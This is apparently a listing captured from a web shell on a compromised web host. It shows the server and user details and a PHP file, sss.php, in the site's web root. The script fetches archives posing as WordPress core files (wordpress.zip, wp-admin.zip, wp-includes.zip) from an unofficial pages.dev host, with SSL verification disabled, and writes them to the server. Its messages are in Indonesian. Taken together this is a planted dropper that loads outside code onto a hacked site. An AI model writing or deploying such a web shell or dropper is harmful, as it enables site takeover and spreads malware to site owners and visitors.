HEX
Server: LiteSpeed
System: Linux eko108.isimtescil.net 4.18.0-477.21.1.lve.1.el8.x86_64 #1 SMP Tue Sep 5 23:08:35 UTC 2023 x86_64
User: uyarreklamcomtr (11202)
PHP: 7.4.33
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/uyarreklam.com.tr/httpdocs/sss.php
<?php

$files = [
    "https://curl-cbl.pages.dev/wordpress.zip",
    "https://curl-cbl.pages.dev/wp-admin.zip",
    "https://curl-cbl.pages.dev/wp-includes.zip"
];

foreach ($files as $url) {
    $filename = basename($url);
    echo "Downloading: $filename\n";

    $ch = curl_init($url);
    $fp = fopen($filename, 'w+');

    curl_setopt($ch, CURLOPT_FILE, $fp);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // kalau SSL error

    $exec = curl_exec($ch);

    if (!$exec) {
        echo "Gagal download $filename: " . curl_error($ch) . "\n";
    } else {
        echo "Berhasil download $filename\n";
    }

    curl_close($ch);
    fclose($fp);
}

echo "Selesai download semua file.\n";